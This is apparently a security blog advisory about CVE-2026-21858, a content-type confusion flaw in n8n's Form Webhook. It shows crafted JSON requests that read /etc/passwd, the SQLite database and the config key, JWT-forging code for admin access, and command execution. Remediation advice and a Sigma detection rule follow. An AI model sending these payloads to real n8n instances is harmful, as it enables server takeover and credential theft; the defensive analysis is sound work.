Ni8mare: The CVSS 10.0 Vulnerability That Shocked the Automation World
CVE-2026-21858: A Technical Deep-Dive
So picture this: you’re sitting at your desk, coffee in hand, scrolling through the morning’s security advisories. Then you see it—CVSS 10.0. The maximum possible score. On n8n, the workflow automation platform that’s basically the central nervous system of modern DevOps and business automation.
Yeah, that got my attention too.
Let’s break down what happened, why it matters, and what you need to do about it. Because this one’s a doozy.
What Even Is n8n? (And Why You Should Care)
If you haven’t crossed paths with n8n yet, here’s the quick version: it’s a low-code workflow automation platform that’s become the go-to for connecting APIs, internal services, and business processes. Think Zapier, but self-hosted and way more powerful.
The numbers tell the story:
– 100+ million Docker pulls
– Millions of users worldwide
– Thousands of enterprise deployments
n8n’s claim to fame is its node-based visual interface. You drag, you drop, you connect things. A GitHub webhook here, a Slack notification there, some conditional logic in between, and boom—you’ve automated a business process. Marketing teams use it. DevOps teams use it. AI teams building RAG pipelines use it heavily.
Here’s the thing though: n8n doesn’t just connect systems. It holds the keys to the kingdom. OAuth tokens, database credentials, API keys for Salesforce, OpenAI, AWS, payment processors—you name it, n8n probably has access to it. It’s the definition of a high-value target.
So when a vulnerability scores CVSS 10.0 on a platform like this? That’s not just a bug. That’s a potential enterprise-wide compromise waiting to happen.
The Technical Breakdown: Content-Type Confusion
Alright, let’s get into the weeds. This is where things get interesting—and by interesting, I mean “how did nobody catch this earlier?”
The Architecture
n8n workflows typically start with Webhook nodes. These are the entry points—HTTP endpoints that catch incoming data from forms, chat messages, API calls, whatever. When a request hits a webhook, n8n needs to figure out what to do with the payload.
Enter the middleware function parseRequestBody().
This function reads the Content-Type header and decides how to parse the incoming data:
| Content-Type | Parser Used | Result |
|---|---|---|
multipart/form-data | parseFormData() (Formidable) | Files saved to random temp paths, metadata stored in req.body.files |
| Everything else | parseBody() | Body decoded and stored in req.body |
Seems reasonable, right? Here’s the problem: different webhook handlers don’t consistently validate what content-type they’re expecting.
The Security Assumption That Broke Everything
The Formidable library (which handles multipart file uploads) is actually pretty secure by default. When you upload a file via multipart/form-data, Formidable:
1. Validates the upload
2. Saves it to a randomly-generated path in a temp directory
3. Returns metadata about where the file ended up
This is good design. Users can’t control where files land—no path traversal attacks here.
But n8n’s code makes an assumption: if a file-handling function is reading from req.body.files, then the content-type must have been multipart/form-data.
The Chat Trigger webhook, for example, explicitly checks the content-type before doing anything file-related. Smart.
But the Form Webhook Node? Not so much.
The Vulnerable Code Path
The Form Webhook is everywhere. HR systems where candidates upload CVs. Customer support portals where users attach screenshots. Knowledge-base systems where employees contribute documents.
The handler function formWebhook() calls prepareFormReturnItem(), which in turn calls copyBinaryFile() for each file in req.body.files.
Here’s the kicker: formWebhook() never verifies the content-type is multipart/form-data.
And copyBinaryFile() just blindly reads whatever filepath is in req.body.files[id].filepath and copies it to persistent storage.
Can you see where this is going?
The Exploit
Let’s say an attacker sends a request like this:
POST /form/vulnerable-form HTTP/1.1
Content-Type: application/json
{
"files": {
"0": {
"filepath": "/etc/passwd",
"mimetype": "text/plain",
"size": 1234
}
}
}
Because the content-type is application/json (not multipart/form-data):
1. The middleware calls parseBody() instead of parseFormData()
2. The JSON body is decoded and stored in req.body
3. req.body.files gets populated with whatever the attacker put there
Then copyBinaryFile() happily reads /etc/passwd and includes it in the workflow’s output.
The application can’t tell the difference between a legitimately uploaded file and an attacker-controlled local path.
That’s the content-type confusion vulnerability. A simple oversight that lets attackers read arbitrary files from the server.
From File Read to RCE: The JWT Forgery Chain
Reading arbitrary files is bad. But it gets worse. Much worse.
What n8n Stores Locally
In self-hosted deployments (Docker, bare metal), n8n stores critical data in plain files:
| File | What’s Inside |
|---|---|
/home/node/.n8n/database.sqlite | User records, hashed passwords, workflow configs |
/home/node/.n8n/config | Encryption key used to sign session tokens |
These are exactly what an attacker needs to forge administrative sessions.
Session Management Explained
When you log into n8n, here’s what happens:
- n8n creates a payload with your user ID and a hash of your email + password hash
- It signs this payload with a secret key (unique per instance) using JWT
- The signed token goes into a cookie named
n8n-auth
The secret key? It’s derived from the encryption key stored in that config file.
The Attack Chain
Using the arbitrary file read, an attacker can:
Step 1: Grab the database
{
"files": {
"0": {
"filepath": "/home/node/.n8n/database.sqlite"
}
}
}
From the database: extract admin user ID, email, and password hash.
Step 2: Grab the config
{
"files": {
"0": {
"filepath": "/home/node/.n8n/config"
}
}
}
From the config: extract the encryption key.
Step 3: Forge the session
# Derive JWT secret from encryption key
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# Create the JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge the token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
Set n8n-auth to this forged token, and you’re logged in as admin. No credentials needed. No brute force. Just pure cryptographic forgery.
Final Step: Code Execution
Once you have admin access? It’s trivial. n8n has an “Execute Command” node designed for legitimate automation tasks. An attacker creates a new workflow, drops in that node, and runs whatever command they want.
uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
And just like that, you’ve gone from a webhook request to full remote code execution on the server.
Attack Scenario: A Real-World Nightmare
Let’s paint a picture of what this looks like in practice.
The Setup
A large tech company—let’s call it “TechCorp”—uses n8n for their internal automation. They’ve got:
- A publicly-facing Form webhook for job applicants to upload their resumes
- Workflows that process the uploads and feed into their HR system
- n8n connected to internal Jira, Slack, AWS, their customer database, and more
The Form webhook doesn’t require authentication (it needs to be public for applicants). They’re running n8n version 1.80.0.
The Attack
Day 1, 2:00 AM – An attacker discovers the Form webhook endpoint through simple reconnaissance. They send a crafted request that reads /home/node/.n8n/config.
Day 1, 2:15 AM – The attacker reads the entire SQLite database. They now have:
– All user accounts and hashed passwords
– Admin email and user ID
– Workflow configurations (which reveal connected systems)
Day 1, 2:30 AM – Using the extracted encryption key and admin credentials from the database, the attacker forges a session cookie. They log into the n8n dashboard as administrator.
Day 1, 2:45 AM – The attacker creates a hidden workflow with an “Execute Command” node. They establish persistence with a reverse shell.
Day 1, 3:00 AM – From the n8n instance, the attacker:
– Accesses the connected AWS credentials (stored in workflow configurations)
– Queries the customer database
– Exfiltrates data to their servers
– Plants ransomware for later activation
Day 5 – The company discovers the breach. By then, the attacker has already sold the customer data and is moving laterally through their cloud infrastructure.
The Impact
- Data breach: Customer PII, financial records, internal documents
- Lateral movement: Access to AWS, databases, SaaS platforms
- Business disruption: Automation workflows compromised or destroyed
- Regulatory fallout: GDPR, SOC2, HIPAA violations depending on data types
- Reputation damage: Customer trust destroyed
All from a single webhook endpoint that one developer thought “should be public for applicants.”
Remediation: What You Need to Do
Alright, enough doom and gloom. Here’s how you fix this.
1. Patch Immediately (Seriously, Now)
Update to n8n version 1.121.0 or later.
This is non-negotiable. The patch fixes the content-type validation issue by ensuring file-handling functions can’t be triggered with spoofed req.body.files objects.
Check your version:
n8n --version
If you’re using Docker:
docker pull n8nio/n8n:latest
docker-compose up -d
2. Audit Your Exposure
Ask yourself:
– Is your n8n instance internet-facing? (Check your firewall rules, load balancers, and ingress controllers)
– Do you have Form webhooks without authentication?
– What workflows are publicly accessible?
If n8n is exposed to the internet and you’re running a vulnerable version, assume you’ve been compromised. Rotate all credentials immediately.
3. Enforce Authentication on Webhooks
Every webhook endpoint should require authentication:
- Use n8n’s built-in webhook authentication
- Add API keys or bearer tokens
- Implement IP whitelisting where possible
For public forms (like job applications), use n8n’s authentication features even if it adds a step for users. The alternative is a much bigger step for you after a breach.
4. Network Segmentation
Deploy n8n in a private network segment:
– Behind a VPN or zero-trust access layer
– Not directly accessible from the internet
– Restricted access to sensitive backend systems
5. Credential Rotation (If You Were Vulnerable)
If you were running a vulnerable version, rotate everything:
– n8n database encryption key (requires re-encrypting sensitive data)
– All stored credentials and API keys
– OAuth tokens
– SSL certificates if logs show potential access
6. Monitor and Detect
Watch for these indicators of compromise:
Web log patterns:
– POST requests to /form/ or /webhook/ endpoints with Content-Type: application/json instead of multipart/form-data
– Request bodies containing "files": and "filepath": strings
– Access to .n8n/ paths or .sqlite files
Host-level indicators:
– Unexpected reads of /etc/passwd, config files, or database files by the n8n process
– Unusual command execution from n8n workflows
– New workflows appearing that you didn’t create
Detection Rules
Here’s a high-confidence Sigma rule you can deploy:
title: Suspicious n8n Webhook Content-Type Confusion
status: experimental
description: Detects CVE-2026-21858 exploitation attempts
logsource:
product: webserver
service: http
detection:
selection:
http.request.uri.path|contains:
- "/webhook/"
- "/form/"
http.request.header.Content-Type|re: "^(?!multipart/form-data).*"
http.request.body|re: '"files"\\s*:\\s*\\{'
condition: selection
level: high
The Bigger Picture
Ni8mare isn’t just a vulnerability—it’s a case study in how modern infrastructure creates concentration risk.
When you centralize access, credentials, and automation in a single platform, you create a single point of failure. CVSS 10.0 on n8n doesn’t mean “one system is vulnerable.” It means “everything n8n touches might as well be vulnerable.”
A few takeaways:
Automation platforms are high-value targets. They hold keys to everything. Treat them accordingly.
Input validation gaps cascade. A missing content-type check led to file reads led to credential theft led to RCE. Each link in the chain mattered.
Public-facing forms deserve extra scrutiny. Every public endpoint is an attack surface. If it doesn’t absolutely need to be public, don’t make it public.
Network exposure matters as much as code flaws. CVSS 10.0 assumes network access. In reality, most n8n instances are internal. That doesn’t mean you’re safe—it means the threat model shifts to post-compromise escalation.
Defense in depth still works. Network segmentation, monitoring, and credential isolation all limit blast radius when vulnerabilities like this slip through.
Timeline: How This Went Down
For those keeping score at home:
| Date | Event |
|---|---|
| November 9, 2025 | Vulnerability reported to n8n by Cyera Research Labs |
| November 10, 2025 | n8n acknowledges the report |
| November 18, 2025 | Patched version (1.121.0) released |
| January 6, 2026 | CVE-2026-21858 officially assigned |
| January 7, 2026 | Public disclosure |
The n8n security team responded quickly—eight days from report to patch. That’s solid work. The problem is all the vulnerable instances that haven’t updated yet.
Bottom Line
CVE-2026-21858 (Ni8mare) is as bad as vulnerabilities get. It’s unauthenticated, easy to exploit, and leads directly to full system compromise. If you’re running n8n:
- Update now if you haven’t already
- Audit your webhooks for public access
- Check your logs for signs of exploitation
- Rotate credentials if there’s any doubt
And maybe—just maybe—think twice before you expose that next automation platform to the internet.
For more information, see the official n8n security advisory and Cyera’s original disclosure.
About CVE-2026-21858:
– CVSS Score: 10.0 (Critical)
– Affected Versions: n8n 1.65.0 to < 1.121.0
– Patched Versions: 1.121.0 and later
– Vulnerability Type: CWE-20 (Improper Input Validation)
– Attack Vector: Network, unauthenticated
– Impact: Arbitrary file read → credential theft → admin session forgery → remote code execution
This article is for educational purposes. Always practice responsible disclosure and obtain proper authorization before testing security vulnerabilities.
